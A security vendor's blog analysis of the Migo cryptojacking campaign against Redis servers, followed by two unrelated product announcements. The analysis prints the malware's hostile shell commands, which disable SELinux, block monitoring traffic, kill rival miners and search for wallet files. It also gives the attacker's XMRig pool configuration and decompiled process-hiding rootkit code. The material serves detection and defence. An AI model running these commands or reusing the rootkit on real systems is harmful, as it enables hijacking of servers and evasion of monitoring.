Blog
/
/
February 20, 2024

Migo: A Redis Miner with Novel System Weakening Techniques

Migo is a cryptojacking campaign targeting Redis servers, that uses novel system-weakening techniques for initial access. It deploys a Golang ELF binary for cryptocurrency mining, which employs compile-time obfuscation and achieves persistence on Linux hosts. Migo also utilizes a modified user-mode rootkit to hide its processes and on-disk artifacts, complicating analysis and forensics.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
The Darktrace Community
Default blog imageDefault blog imageDefault blog imageDefault blog imageDefault blog imageDefault blog image
20
Feb 2024

A screenshot of a computerAI-generated content may be incorrect.
Disable aof-rewrite-incremental-fsync command observed by a Redis honeypot sensor

After disabling these configuration parameters, the threat actor used the set command to set the values of two separate Redis keys. One key is assigned a string value corresponding to a malicious threat actor-controlled SSH key, and the other to a Cron job that retrieves the malicious primary payload from Transfer.sh (a relatively uncommon distribution mechanism previously covered by Cado) via Pastebin [5].

The threat actors will then follow-up with a series of commands to change the working directory of Redis itself, before saving the contents of the database. If the working directory is one of the Cron directories, the file will be parsed by crond and executed as a normal Cron job. 
This is a common attack pattern against Redis servers and has been previously documented by Cado and others[6][7]

A screenshot of a computerAI-generated content may be incorrect.
Abusing the set command to register a malicious Cron job

As can be seen above, the threat actors create a key named mimigo and use it to register a Cron job that first checks whether a file exists at /tmp/.xxx1. If not, a simple script is retrieved from Pastebin using either curl or wget, and executed directly in memory by piping through sh.

Pastebin script used to retrieve primary payload from transfer.sh

This in-memory script proceeds to create an empty file at /tmp/.xxx1 (an indicator to the previous stage that the host has been compromised) before retrieving the primary payload from transfer.sh. This payload is saved as /tmp/.migo, before being executed as a background task via nohup.

Primary Payload – Static Properties

The Migo primary payload (/tmp/.migo) is delivered as a statically-linked and stripped UPX-packed ELF, compiled from Go code for the x86_64 architecture. The sample uses vanilla UPX packing (i.e. the UPX header is intact) and can be trivially unpacked using upx -d. 

After unpacking, analysis of the .gopclntab section of the binary highlights the threat actor’s use of a compile-time obfuscator to obscure various strings relating to internal symbols. You might wonder why this is necessary when the binary is already stripped, the answer lies with a feature of the Go programming language named “Program Counter Line Table (pclntab)”. 

In short, the pclntab is a structure located in the .gopclntab section of a Go ELF binary. It can be used to map virtual addresses to symbol names, for the purposes of generating stack traces. This allows reverse engineers the ability to recover symbols from the binary, even in cases where the binary is stripped.  

The developers of Migo have since opted to further protect these symbols by applying additional compile-time obfuscation. This is likely to prevent details of the malware’s capabilities from appearing in stack traces or being easily recovered by reverse engineers.

Compile-time symbol obfuscation in gopclntab section

With the help of Interactive Disassembler’s (IDA’s) function recognition engine, we can see a number of Go packages (libraries) used by the binary. This includes functions from the OS package, including os/exec (used to run shell commands on Linux hosts), os.GetEnv (to retrieve the value of a specific environment variable) and os.Open to open files. [8, 9]

 Examples of OS library functions identified by IDA

Additionally, the malware includes the net package for performing HTTP requests, the encoding/json package for working with JSON data and the compress/gzip package for handling gzip archives.

Primarily Payload – Capabilities

Shortly after execution, the Migo binary will consult an infection marker in the form of a file at /tmp/.migo_running. If this file doesn’t exist, the malware creates it, determines its own process ID and writes the file. This tells the threat actors that the machine has been previously compromised, should they encounter it again.

newfstatat(AT_FDCWD, "/tmp/.migo_running", 0xc00010ac68, 0) = -1 ENOENT (No such file or directory) 
    getpid() = 2557 
    openat(AT_FDCWD, "/tmp/.migo_running", O_RDWR|O_CREAT|O_TRUNC|O_CLOEXEC, 0666) = 6 
    fcntl(6, F_GETFL)  = 0x8002 (flags O_RDWR|O_LARGEFILE) 
    fcntl(6, F_SETFL, O_RDWR|O_NONBLOCK|O_LARGEFILE) = 0 
    epoll_ctl(3, EPOLL_CTL_ADD, 6, {EPOLLIN|EPOLLOUT|EPOLLRDHUP|EPOLLET, {u32=1197473793, u64=9169307754234380289}}) = -1 EPERM (Operation not permitted) 
    fcntl(6, F_GETFL)  = 0x8802 (flags O_RDWR|O_NONBLOCK|O_LARGEFILE) 
    fcntl(6, F_SETFL, O_RDWR|O_LARGEFILE)  = 0 
    write(6, "2557", 4)  = 4 
    close(6) = 0 

Migo proceeds to retrieve the XMRig installer in tar.gz format directly from Github’s CDN, before creating a new directory at /tmp/.migo_worker, where the installer archive is saved as /tmp/.migo_worker/.worker.tar.gz.  Naturally, Migo proceeds to unpack this archive and saves the XMRig binary as /tmp/.migo_worker/.migo_worker. The installation archive contains a default XMRig configuration file, which is rewritten dynamically by the malware and saved to /tmp/.migo_worker/.migo.json.

openat(AT_FDCWD, "/tmp/.migo_worker/config.json", O_RDWR|O_CREAT|O_TRUNC|O_CLOEXEC, 0666) = 9 
    fcntl(9, F_GETFL)  = 0x8002 (flags O_RDWR|O_LARGEFILE) 
    fcntl(9, F_SETFL, O_RDWR|O_NONBLOCK|O_LARGEFILE) = 0 
    epoll_ctl(3, EPOLL_CTL_ADD, 9, {EPOLLIN|EPOLLOUT|EPOLLRDHUP|EPOLLET, {u32=1197473930, u64=9169307754234380426}}) = -1 EPERM (Operation not permitted) 
    fcntl(9, F_GETFL)  = 0x8802 (flags O_RDWR|O_NONBLOCK|O_LARGEFILE) 
    fcntl(9, F_SETFL, O_RDWR|O_LARGEFILE)  = 0 
    write(9, "{\n \"api\": {\n \"id\": null,\n \"worker-id\": null\n },\n \"http\": {\n \"enabled\": false,\n \"host\": \"127.0.0.1\",\n \"port"..., 2346) = 2346 
    newfstatat(AT_FDCWD, "/tmp/.migo_worker/.migo.json", 0xc00010ad38, AT_SYMLINK_NOFOLLOW) = -1 ENOENT (No such file or directory) 
    renameat(AT_FDCWD, "/tmp/.migo_worker/config.json", AT_FDCWD, "/tmp/.migo_worker/.migo.json") = 0 

An example of the XMRig configuration used as part of the campaign (as collected along with the binary payload on the Cado honeypot) can be seen below:

{ 
     "api": { 
     "id": null, 
     "worker-id": null 
     }, 
     "http": { 
     "enabled": false, 
     "host": "127.0.0.1", 
     "port": 0, 
     "access-token": null, 
     "restricted": true 
     }, 
     "autosave": true, 
     "background": false, 
     "colors": true, 
     "title": true, 
     "randomx": { 
     "init": -1, 
     "init-avx2": -1, 
     "mode": "auto", 
     "1gb-pages": false, 
     "rdmsr": true, 
     "wrmsr": true, 
     "cache_qos": false, 
     "numa": true, 
     "scratchpad_prefetch_mode": 1 
     }, 
     "cpu": { 
     "enabled": true, 
     "huge-pages": true, 
     "huge-pages-jit": false, 
     "hw-aes": null, 
     "priority": null, 
     "memory-pool": false, 
     "yield": true, 
     "asm": true, 
     "argon2-impl": null, 
     "argon2": [0, 1], 
     "cn": [ 
     [1, 0], 
     [1, 1] 
     ], 
     "cn-heavy": [ 
     [1, 0], 
     [1, 1] 
     ], 
     "cn-lite": [ 
     [1, 0], 
     [1, 1] 
     ], 
     "cn-pico": [ 
     [2, 0], 
     [2, 1] 
     ], 
     "cn/upx2": [ 
     [2, 0], 
     [2, 1] 
     ], 
     "ghostrider": [ 
     [8, 0], 
     [8, 1] 
     ], 
     "rx": [0, 1], 
     "rx/wow": [0, 1], 
     "cn-lite/0": false, 
     "cn/0": false, 
     "rx/arq": "rx/wow", 
     "rx/keva": "rx/wow" 
     }, 
     "log-file": null, 
     "donate-level": 1, 
     "donate-over-proxy": 1, 
     "pools": [ 
     { 
     "algo": null, 
     "coin": null, 
     "url": "xmrpool.eu:9999", 
     "user": "85RrBGwM4gWhdrnLAcyTwo93WY3M3frr6jJwsZLSWokqB9mChJYZWN91FYykRYJ4BFf8z3m5iaHfwTxtT93txJkGTtN9MFz", 
     "pass": null, 
     "rig-id": null, 
     "nicehash": false, 
     "keepalive": true, 
     "enabled": true, 
     "tls": true, 
     "sni": false, 
     "tls-fingerprint": null, 
     "daemon": false, 
     "socks5": null, 
     "self-select": null, 
     "submit-to-origin": false 
     }, 
     { 
     "algo": null, 
     "coin": null, 
     "url": "pool.hashvault.pro:443", 
     "user": "85RrBGwM4gWhdrnLAcyTwo93WY3M3frr6jJwsZLSWokqB9mChJYZWN91FYykRYJ4BFf8z3m5iaHfwTxtT93txJkGTtN9MFz", 
     "pass": "migo", 
     "rig-id": null, 
     "nicehash": false, 
     "keepalive": true, 
     "enabled": true, 
     "tls": true, 
     "sni": false, 
     "tls-fingerprint": null, 
     "daemon": false, 
     "socks5": null, 
     "self-select": null, 
     "submit-to-origin": false 
     }, 
     { 
     "algo": null, 
     "coin": "XMR", 
     "url": "xmr-jp1.nanopool.org:14433", 
     "user": "85RrBGwM4gWhdrnLAcyTwo93WY3M3frr6jJwsZLSWokqB9mChJYZWN91FYykRYJ4BFf8z3m5iaHfwTxtT93txJkGTtN9MFz", 
     "pass": null, 
     "rig-id": null, 
     "nicehash": false, 
     "keepalive": false, 
     "enabled": true, 
     "tls": true, 
     "sni": false, 
     "tls-fingerprint": null, 
     "daemon": false, 
     "socks5": null, 
     "self-select": null, 
     "submit-to-origin": false 
     }, 
     { 
     "algo": null, 
     "coin": null, 
     "url": "pool.supportxmr.com:443", 
     "user": "85RrBGwM4gWhdrnLAcyTwo93WY3M3frr6jJwsZLSWokqB9mChJYZWN91FYykRYJ4BFf8z3m5iaHfwTxtT93txJkGTtN9MFz", 
     "pass": "migo", 
     "rig-id": null, 
     "nicehash": false, 
     "keepalive": true, 
     "enabled": true, 
     "tls": true, 
     "sni": false, 
     "tls-fingerprint": null, 
     "daemon": false, 
     "socks5": null, 
     "self-select": null, 
     "submit-to-origin": false 
     } 
     ], 
     "retries": 5, 
     "retry-pause": 5, 
     "print-time": 60, 
     "dmi": true, 
     "syslog": false, 
     "tls": { 
     "enabled": false, 
     "protocols": null, 
     "cert": null, 
     "cert_key": null, 
     "ciphers": null, 
     "ciphersuites": null, 
     "dhparam": null 
     }, 
     "dns": { 
     "ipv6": false, 
     "ttl": 30 
     }, 
     "user-agent": null, 
     "verbose": 0, 
     "watch": true, 
     "pause-on-battery": false, 
     "pause-on-active": false 
    } 

With the miner installed and an XMRig configuration set, the malware proceeds to query some information about the system, including the number of logged-in users (via the w binary) and resource limits for users on the system. It also sets the number of Huge Pages available on the system to 128, using the vm.nr_hugepages parameter. These actions are fairly typical for cryptojacking malware. [10]

Interestingly, Migo appears to recursively iterate through files and directories under /etc. The malware will simply read files in these locations and not do anything with the contents. One theory, based on this analysis, is that this could be a (weak) attempt to confuse sandbox and dynamic analysis solutions by performing a large number of benign actions, resulting in a non-malicious classification. It’s also possible the malware is hunting for an artefact specific to the target environment that’s missing from our own analysis environment. However, there was no evidence of this recovered during our analysis.

Once this is complete, the binary is copied to /tmp via the /proc/self/exe symlink ahead of registering persistence, before a series of shell commands are executed. An example of these commands is listed below.

/bin/chmod +x /tmp/.migo 
    /bin/sh -c "echo SELINUX=disabled > /etc/sysconfig/selinux" 
    /bin/sh -c "ls /usr/local/qcloud/YunJing/uninst.sh || ls /var/lib/qcloud/YunJing/uninst.sh" 
    /bin/sh -c "ls /usr/local/qcloud/monitor/barad/admin/uninstall.sh || ls /usr/local/qcloud/stargate/admin/uninstall.sh" 
    /bin/sh -c command -v setenforce 
    /bin/sh -c command -v systemctl 
    /bin/sh -c setenforce 0o 
    go_worker --config /tmp/.migo_worker/.migo.json 
    bash -c "grep -r -l -E '\\b[48][0-9AB][123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz]{93}\\b' /home" 
    bash -c "grep -r -l -E '\\b[48][0-9AB][123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz]{93}\\b' /root" 
    bash -c "grep -r -l -E '\\b[48][0-9AB][123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz]{93}\\b' /tmp" 
    bash -c "systemctl start system-kernel.timer && systemctl enable system-kernel.timer" 
    iptables -A OUTPUT -d 10.148.188.201 -j DROP 
    iptables -A OUTPUT -d 10.148.188.202 -j DROP 
    iptables -A OUTPUT -d 11.149.252.51 -j DROP 
    iptables -A OUTPUT -d 11.149.252.57 -j DROP 
    iptables -A OUTPUT -d 11.149.252.62 -j DROP 
    iptables -A OUTPUT -d 11.177.124.86 -j DROP 
    iptables -A OUTPUT -d 11.177.125.116 -j DROP 
    iptables -A OUTPUT -d 120.232.65.223 -j DROP 
    iptables -A OUTPUT -d 157.148.45.20 -j DROP 
    iptables -A OUTPUT -d 169.254.0.55 -j DROP 
    iptables -A OUTPUT -d 183.2.143.163 -j DROP 
    iptables -C OUTPUT -d 10.148.188.201 -j DROP 
    iptables -C OUTPUT -d 10.148.188.202 -j DROP 
    iptables -C OUTPUT -d 11.149.252.51 -j DROP 
    iptables -C OUTPUT -d 11.149.252.57 -j DROP 
    iptables -C OUTPUT -d 11.149.252.62 -j DROP 
    iptables -C OUTPUT -d 11.177.124.86 -j DROP 
    iptables -C OUTPUT -d 11.177.125.116 -j DROP 
    iptables -C OUTPUT -d 120.232.65.223 -j DROP 
    iptables -C OUTPUT -d 157.148.45.20 -j DROP 
    iptables -C OUTPUT -d 169.254.0.55 -j DROP 
    iptables -C OUTPUT -d 183.2.143.163 -j DROP 
    kill -9 
    ls /usr/local/aegis/aegis_client 
    ls /usr/local/aegis/aegis_update 
    ls /usr/local/cloudmonitor/cloudmonitorCtl.sh 
    ls /usr/local/qcloud/YunJing/uninst.sh 
    ls /usr/local/qcloud/monitor/barad/admin/uninstall.sh 
    ls /usr/local/qcloud/stargate/admin/uninstall.sh 
    ls /var/lib/qcloud/YunJing/uninst.sh 
    lsattr /etc/cron.d/0hourly 
    lsattr /etc/cron.d/raid-check 
    lsattr /etc/cron.d/sysstat 
    lsattr /etc/crontab 
    sh -c "/sbin/modprobe msr allow_writes=on > /dev/null 2>&1" 
    sh -c "ps -ef | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill -9" 
    sh -c "ps -ef | grep -v grep | grep ddgs | awk '{print $2}' | xargs kill -9" 
    sh -c "ps -ef | grep -v grep | grep f2poll | awk '{print $2}' | xargs kill -9" 
    sh -c "ps -ef | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill -9" 
    sh -c "ps -ef | grep -v grep | grep hashfish | awk '{print $2}' | xargs kill -9" 
    sh -c "ps -ef | grep -v grep | grep hwlh3wlh44lh | awk '{print $2}' | xargs kill -9" 
    sh -c "ps -ef | grep -v grep | grep kworkerds | awk '{print $2}' | xargs kill -9" 
    sh -c "ps -ef | grep -v grep | grep t00ls.ru | awk '{print $2}' | xargs kill -9" 
    sh -c "ps -ef | grep -v grep | grep xmrig | awk '{print $2}' | xargs kill -9" 
    systemctl start system-kernel.timer 
    systemctl status firewalld 

In summary, they perform the following actions:

  • Make the copied version of the binary executable, to be executed via a persistence mechanism
  • Disable SELinux and search for uninstallation scripts for monitoring agents bundled in compute instances from cloud providers such as Qcloud and Alibaba Cloud
  • Execute the miner and pass the dropped configuration into it
  • Configure iptables to drop outbound traffic to specific IPs
  • Kill competing miners and payloads from similar campaigns
  • Register persistence via the systemd timer system-kernel.timer

Note that these actions are consistent with prior mining campaigns targeting East Asian cloud providers analyzed by Cado researchers [11].

Migo will also attempt to prevent outbound traffic to domains belonging to these cloud providers by writing the following lines to /etc/hosts, effectively creating a blackhole for each of these domains. It’s likely that this is to prevent monitoring agents and update software from contacting these domains and triggering any alerts that might be in place. 

This also gives some insight into the infrastructure targeted by the malware, as these domains belong to the same cloud service providers as we discussed previously.

A screenshot of a computerAI-generated content may be incorrect.
Modified contents of /etc/hosts

Persistence

As seen in the commands above, Migo achieves persistence on the target host via the use of a systemd service and associated systemd timer. These are named system-kernel.timer and system-kernel.service respectively. 

The service unit is straightforward, it simply ensures the Migo payload is executable before invoking it. The malware also configures the allowed number of open file descriptors (via the LimitNOFILE parameter) and increases the CPU shares weighting to 1000000, allowing the miner to fully utilize the CPU.

Example contents of system-kernel.service

This service is controlled by an associated systemd timer, allowing it to be executed 5 seconds after the machine boots, and executed again every five seconds following that [12]. This, in combination with the infection marker mentioned previously, ensures the miner is kept running and can effectively contribute to the mining pool.

Example contents of system-kernel.timer

Process Hiding

Interestingly, Migo will attempt to hide on-disk artefacts dropped by itself via the use of a user mode rootkit. These artefacts include the contents /tmp/.migo_worker directory, where the malware stores the miner and configuration file, as well as the main payload located at /tmp/.migo. 

To achieve this, the malware updates /etc/ld.so.preload to point at a Linux shared object file located at /usr/local/lib/libsystemd.so, effectively conducting Dynamic Linker hijacking on the Redis host. [13] This shared object is embedded within the Migo primary payload and is extracted at runtime.

 if ( !original_readdir ) 
     { 
     original_readdir = dlsym(0xFFFFFFFFFFFFFFFFLL, "readdir"); 
     if ( !original_readdir ) 
     { 
     v1 = dlerror(); 
     fprintf(stderr, aDlsym_0, v1); 
     } 
     } 
     do 
     v5 = original_readdir(a1); 
     while ( v5 
     && (get_dir_name(a1, s1, 256LL) 
     && !strcmp(s1, "/proc") 
     && get_process_name(v5 + 19, v4) 
     && should_hide_entry(v4, &hiddenProcesses, 3LL) 
     || should_hide_entry(v5 + 19, hiddenFiles, 4LL) 
     || *(v5 + 18) == 4 && should_hide_entry(v5 + 19, &hiddenDirectories, 1LL)) ); 
     return v5; 
    } 

Decompiler output for the process and file hiding functionality in libsystemd.so

libsystemd.so is a process hider based on the open source libprocesshider project, seen frequently in cryptojacking campaigns. [14, 15] With this shared object in place, the malware intercepts invocations of file and process listing tools (ls, ps, top etc) and hides the appropriate lines from the tool’s output.

Examples of hardcoded artefacts to hide

Conclusion

Migo demonstrates that cloud-focused attackers are continuing to refine their techniques and improve their ability to exploit web-facing services. The campaign utilized a number of Redis system weakening commands, in an attempt to disable security features of the data store that may impede their initial access attempts. These commands have not previously been reported in campaigns leveraging Redis for initial access. 

The developers of Migo also appear to be aware of the malware analysis process, taking additional steps to obfuscate symbols and strings found in the pclntab structure that could aid reverse engineering. Even the use of Go to produce a compiled binary as the primary payload, rather than using a series of shell scripts as seen in previous campaigns, suggests that those behind Migo are continuing to hone their techniques and complicate the analysis process. 

In addition, the use of a user mode rootkit could complicate post-incident forensics of hosts compromised by Migo. Although libprocesshider is frequently used by cryptojacking campaigns, this particular variant includes the ability to hide on-disk artefacts in addition to the malicious processes themselves.

Indicators of Compromise (IoC)

File SHA256

/tmp/.migo (packed) 8cce669c8f9c5304b43d6e91e6332b1cf1113c81f355877dabd25198c3c3f208

/tmp/.migo_worker/.worker.tar.gz c5dc12dbb9bb51ea8acf93d6349d5bc7fe5ee11b68d6371c1bbb098e21d0f685

/tmp/.migo_worker/.migo_json 2b03943244871ca75e44513e4d20470b8f3e0f209d185395de82b447022437ec

/tmp/.migo_worker/.migo_worker (XMRig) 364a7f8e3701a340400d77795512c18f680ee67e178880e1bb1fcda36ddbc12c

system-kernel.service 5dc4a48ebd4f4be7ffcf3d2c1e1ae4f2640e41ca137a58dbb33b0b249b68759e

system-kernel.service 76ecd546374b24443d76c450cb8ed7226db84681ee725482d5b9ff4ce3273c7f

libsystemd.so 32d32bf0be126e685e898d0ac21d93618f95f405c6400e1c8b0a8a72aa753933

IP Addresses

103[.]79[.]118[.]221

References

  1. https://redis.io/docs/latest/operate/oss_and_stack/management/security/#protected-mode
  1. https://redis.io/docs/latest/operate/oss_and_stack/management/replication/#read-only-replica
  1. https://redis.io/docs/latest/operate/oss_and_stack/management/replication/
  1. https://www.cadosecurity.com/blog/redis-p2pinfect
  1. https://www.cadosecurity.com/blog/redis-miner-leverages-command-line-file-hosting-service
  1. https://www.cadosecurity.com/blog/kiss-a-dog-discovered-utilizing-a-20-year-old-process-hider
  1. https://www.trendmicro.com/en_ph/research/20/d/exposed-redis-instances-abused-for-remote-code-execution-cryptocurrency-mining.html
  1. https://pkg.go.dev/os
  1. https://pkg.go.dev/os/exec
  1. https://www.crowdstrike.com/en-us/blog/2021-cryptojacking-trends-and-investigation-recommendations/  
  1. https://www.cadosecurity.com/blog/watchdog-continues-to-target-east-asian-csps
  1. https://www.cadosecurity.com/blog/linux-attack-techniques-dynamic-linker-hijacking-with-ld-preload
  1. https://www.cadosecurity.com/blog/linux-attack-techniques-dynamic-linker-hijacking-with-ld-preload
  1. https://github.com/gianlucaborello/libprocesshider
  1. https://www.cadosecurity.com/blog/abcbot-an-evolution-of-xanthe

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
The Darktrace Community

More in this series

No items found.

Blog

/

/

September 25, 2025

Announcing Unified Real-Time CDR and Automated Investigations to Transform Cloud Security Operations

Default blog imageDefault blog image

Fragmented Tools are Failing SOC Teams in the Cloud Era

The cloud has transformed how businesses operate, reshaping everything from infrastructure to application delivery. But cloud security has not kept pace. Most tools still rely on traditional models of logging, policy enforcement, and posture management; approaches that provide surface-level visibility but lack the depth to detect or investigate active attacks.

Meanwhile, attackers are exploiting vulnerabilities, delivering cloud-native exploits, and moving laterally in ways that posture management alone cannot catch fast enough. Critical evidence is often missed, and alerts lack the forensic depth SOC analysts need to separate noise from true risk. As a result, organizations remain exposed: research shows that nearly nine in ten organizations have suffered a critical cloud breach despite investing in existing security tools [1].

SOC teams are left buried in alerts without actionable context, while ephemeral workloads like containers and serverless functions vanish before evidence can be preserved. Point tools for logging or forensics only add complexity, with 82% of organizations using multiple platforms to investigate cloud incidents [2].

The result is a broken security model: posture tools surface risks but don’t connect them to active attacker behaviors, while investigation tools are too slow and fragmented to provide timely clarity. Security teams are left reactive, juggling multiple point solutions and still missing critical signals. What’s needed is a unified approach that combines real-time detection and response for active threats with automated investigation and cloud posture management in a single workflow.

Just as security teams once had to evolve beyond basic firewalls and antivirus into network and endpoint detection, response, and forensics, cloud security now requires its own next era: one that unifies detection, response, and investigation at the speed and scale of the cloud.

A Powerful Combination: Real-Time CDR + Automated Cloud Forensics

Darktrace / CLOUD now uniquely unites detection, investigation, and response into one workflow, powered by Self-Learning AI. This means every alert, from any tool in your stack, can instantly become actionable evidence and a complete investigation in minutes.

With this release, Darktrace / CLOUD delivers a more holistic approach to cloud defense, uniting real-time detection, response, and investigation with proactive risk reduction. The result is a single solution that helps security teams stay ahead of attackers while reducing complexity and blind spots.

  • Automated Cloud Forensic Investigations: Instantly capture and analyze volatile evidence from cloud assets, reducing investigation times from days to minutes and eliminating blind spots
  • Enhanced Cloud-Native Threat Detection: Detect advanced attacker behaviors such as lateral movement, privilege escalation, and command-and-control in real time
  • Enhanced Live Cloud Topology Mapping: Gain continuous insight into cloud environments, including ephemeral workloads, with live topology views that simplify investigations and expose anomalous activity
  • Agentless Scanning for Proactive Risk Reduction: Continuously monitor for misconfigurations, vulnerabilities, and risky exposures to reduce attack surface and stop threats before they escalate.

Automated Cloud Forensic Investigations

Darktrace / CLOUD now includes capabilities introduced with Darktrace / Forensic Acquisition & Investigation, triggering automated forensic acquisition the moment a threat is detected. This ensures ephemeral evidence, from disks and memory to containers and serverless workloads can be preserved instantly and analyzed in minutes, not days. The integration unites detection, response, and forensic investigation in a way that eliminates blind spots and reduces manual effort.

Figure 1: Easily view Forensic Investigation of a cloud resource within the Darktrace / CLOUD architecture map

Enhanced Cloud-Native Threat Detection

Darktrace / CLOUD strengthens its real-time behavioral detection to expose early attacker behaviors that logs alone cannot reveal. Enhanced cloud-native detection capabilities include:

• Reconnaissance & Discovery – Detects enumeration and probing activity post-compromise.

• Privilege Escalation via Role Assumption – Identifies suspicious attempts to gain elevated access.

• Malicious Compute Resource Usage – Flags threats such as crypto mining or spam operations.

These enhancements ensure active attacks are detected earlier, before adversaries can escalate or move laterally through cloud environments.

Figure 2: Cyber AI Analyst summary of anomalous behavior for privilege escalation and establishing persistence.

Enhanced Live Cloud Topology Mapping

New enhancements to live topology provide real-time mapping of cloud environments, attacker movement, and anomalous behavior. This dynamic visibility helps SOC teams quickly understand complex environments, trace attack paths, and prioritize response. By integrating with Darktrace / Proactive Exposure Management (PEM), these insights extend beyond the cloud, offering a unified view of risks across networks, endpoints, SaaS, and identity — giving teams the context needed to act with confidence.

Figure 3: Enhanced live topology maps unify visibility across architectures, identities, network connections and more.

Agentless Scanning for Proactive Risk Reduction

Darktrace / CLOUD now introduces agentless scanning to uncover malware and vulnerabilities in cloud assets without impacting performance. This lightweight, non-disruptive approach provides deep visibility into cloud workloads and surfaces risks before attackers can exploit them. By continuously monitoring for misconfigurations and exposures, the solution strengthens posture management and reduces attack surface across hybrid and multi-cloud environments.

Figure 4: Agentless scanning of cloud assets reveals vulnerabilities, which are prioritized by severity.

Together, these capabilities move cloud security operations from reactive to proactive, empowering security teams to detect novel threats in real time, reduce exposures before they are exploited, and accelerate investigations with forensic depth. The result is faster triage, shorter MTTR, and reduced business risk — all delivered in a single, AI-native solution built for hybrid and multi-cloud environments.

Accelerating the Evolution of Cloud Security

Cloud security has long been fragmented, forcing teams to stitch together posture tools, log-based monitoring, and external forensics to get even partial coverage. With this release, Darktrace / CLOUD delivers a holistic, unified approach that covers every stage of the cloud lifecycle, from proactive posture management and risk identification to real-time detection, to automated investigation and response.

By bringing these capabilities together in a single AI-native solution, Darktrace is advancing cloud security beyond incremental change and setting a new standard for how organizations protect their hybrid and multi-cloud environments.

With Darktrace / CLOUD, security teams finally gain end-to-end visibility, response, and investigation at the speed of the cloud, transforming cloud defense from fragmented and reactive to unified and proactive.

[related-resource]

Sources: [1], [2] Darktrace Report: Organizations Require a New Approach to Handle Investigations in the Cloud

Continue reading
About the author
Adam Stevens
Senior Director of Product, Cloud | Darktrace

Blog

/

/

September 25, 2025

Introducing the Industry’s First Truly Automated Cloud Forensics Solution

Default blog imageDefault blog image

Why Cloud Investigations Fail Today

Cloud investigations have become one of the hardest problems in modern cybersecurity. Traditional DFIR tools were built for static, on-prem environments, rather than dynamic and highly scalable cloud environments, containing ephemeral workloads that disappear in minutes. SOC analysts are flooded with cloud security alerts with one-third lacking actionable data to confirm or dismiss a threat[1], while DFIR teams waste 3-5 days requesting access and performing manual collection, or relying on external responders.

These delays leave organizations vulnerable. Research shows that nearly 90% of organizations suffer some level of damage before they can fully investigate and contain a cloud incident [2]. The result is a broken model: alerts are closed without a complete understanding of the threat due to a lack of visibility and control, investigations drag on, and attackers retain the upper hand.

For SOC teams, the challenge is scale and clarity. Analysts are inundated with alerts but lack the forensic depth to quickly distinguish real threats from noise. Manual triage wastes valuable time, creates alert fatigue, and often forces teams to escalate or dismiss incidents without confidence — leaving adversaries with room to maneuver.

For DFIR teams, the challenge is depth and speed. Traditional forensics tools were built for static, on-premises environments and cannot keep pace with ephemeral workloads that vanish in minutes. Investigators are left chasing snapshots, requesting access from cloud teams, or depending on external responders, leading to blind spots and delayed response.

That’s why we built Darktrace / Forensic Acquisition & Investigation, the first automated forensic solution designed specifically for the speed, scale, and complexities of the cloud. It addresses both sets of challenges by combining automated forensic evidence capture, attacker timeline reconstruction, and cross-cloud scale. The solution empowers SOC analysts with instant clarity and DFIR teams with forensic depth, all in minutes, not days. By leveraging the very nature of the cloud, Darktrace makes these advanced capabilities accessible to security teams of all sizes, regardless of expertise or resources.

Introducing Automated Forensics at the Speed and Scale of Cloud

Darktrace / Forensic Acquisition & Investigation transforms cloud investigations by capturing, processing, and analyzing forensic evidence of cloud workloads, instantly, even from time-restricted ephemeral resources. Triggered by a detection from any cloud security tool, the entire process is automated, providing accurate root cause analysis and deep insights into attacker behavior in minutes rather than days or weeks. SOC and DFIR teams no longer have to rely on manual processes, snapshots, or external responders, they can now leverage the scale and elasticity of the cloud to accelerate triage and investigations.

Seamless Integration with Existing Detection Tools

Darktrace / Forensic Acquisition & Investigation does not require customers to replace their detection stack. Instead, it integrates with cloud-native providers, XDR platforms, and SIEM/SOAR tools, automatically initiating forensic capture whenever an alert is raised. This means teams can continue leveraging their existing investments while gaining the forensic depth required to validate alerts, confirm root cause, and accelerate response.

Most importantly, the solution is natively integrated with Darktrace / CLOUD, turning real-time detections of novel attacker behaviors into full forensic investigations instantly. When Darktrace / CLOUD identifies suspicious activity such as lateral movement, privilege escalation, or abnormal usage of compute resources, Darktrace / Forensic Acquisition & Investigation automatically preserves the underlying forensic evidence before it disappears. This seamless workflow unites detection, response, and investigation in a way that eliminates gaps, accelerates triage, and gives teams confidence that every critical cloud alert can be investigated to completion.

Figure 1: Integration with Darktrace / CLOUD – this example is showing the ability to pivot into the forensic investigation associated with a compromised cloud asset

Automated Evidence Collection Across Hybrid and Multi-Cloud

The solution provides automated forensic acquisition across AWS, Microsoft Azure, GCP, and on-prem environments. It supports both full volume capture, creating a bit-by-bit copy of an entire storage device for the most comprehensive preservation of evidence, and triage collection, which prioritizes speed by gathering only the most essential forensic artifacts such as process data, logs, network connections, and open file contents. This flexibility allows teams to strike the right balance between speed and depth depending on the investigation at hand.

Figure 2: Ability to acquire forensic data from Cloud, SaaS and on-prem environments

Automated Investigations, Root Cause Analysis and Attacker Timelines

Once evidence is collected, Darktrace applies automation to reconstruct attacker activity into a unified timeline. This includes correlating commands, files, lateral movement, and network activity into a single investigative view enriched with custom threat intelligence such as IOCs. Detailed investigation reporting including an investigation summary, an overview of the attacker timeline, and key events. Analysts can pivot into detailed views such as the filesystem view, traversing directories or inspecting file content, or filter and search using faceted options to quickly narrow the scope of an investigation.

Figure 3: Automated Investigation view surfacing the most significant attacker activity, which is contextualized with Alarm information

Forensics for Containers and Ephemeral Assets

Investigating containers and serverless workloads has historically been one of the hardest challenges for DFIR teams, as these assets often disappear before evidence can be preserved. Darktrace / Forensic Acquisition & Investigation captures forensic evidence across managed Kubernetes cloud services, even from distroless or no-shell containers, AWS ECS and other environments, ensuring that ephemeral activity is no longer a blind spot. For hybrid organizations, this extends to on-premises Kubernetes and OpenShift deployments, bringing consistency across environments.

